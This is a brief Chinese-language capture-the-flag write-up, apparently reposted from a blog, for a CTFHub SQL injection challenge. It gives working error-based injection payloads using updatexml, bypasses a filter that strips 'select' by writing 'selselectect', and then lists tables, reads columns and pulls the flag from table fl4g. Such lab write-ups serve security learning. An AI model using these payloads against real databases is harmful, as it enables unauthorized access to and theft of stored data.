CTFHUB-SQL注入-2

页面注释中有提示,在url中加入?tips=1出现报错信息。

使用报错注入时可以发现

name=test'and updatexml(1,concat(0x7e,(select 1)),1)#&pass=xxxx

回显正常报错

name=test'and updatexml(1,concat(0x7e,(select(1)from dual)),1)#&pass=xxxx

回显

说明我们的sql语句被进行了某种替换,导致语法错误。尝试

name=test'and updatexml(1,concat(0x7e,(selselectect(1)from dual)),1)#&pass=xxxx时发现回显正常

于是使用报错注入获取表名和列名,即可得到flag。

name=test'and updatexml(1,concat(0x7e,(selselectect(group_concat(table_name))from information_schema.tables where table_schema=database())),1)#&pass=xxxx

同理获得列名

name=test'and updatexml(1,concat(0x7e,(selselectect(group_concat(column_name))from information_schema.columns where table_name='fl4g')),1)#&pass=xxxx

获得flag

name=test'and updatexml(1,concat(0x7e,(selselectect(flag)from fl4g)),1)#&pass=xxxx

原文地址:https://www.cnblogs.com/xiaobai141/p/14128962.html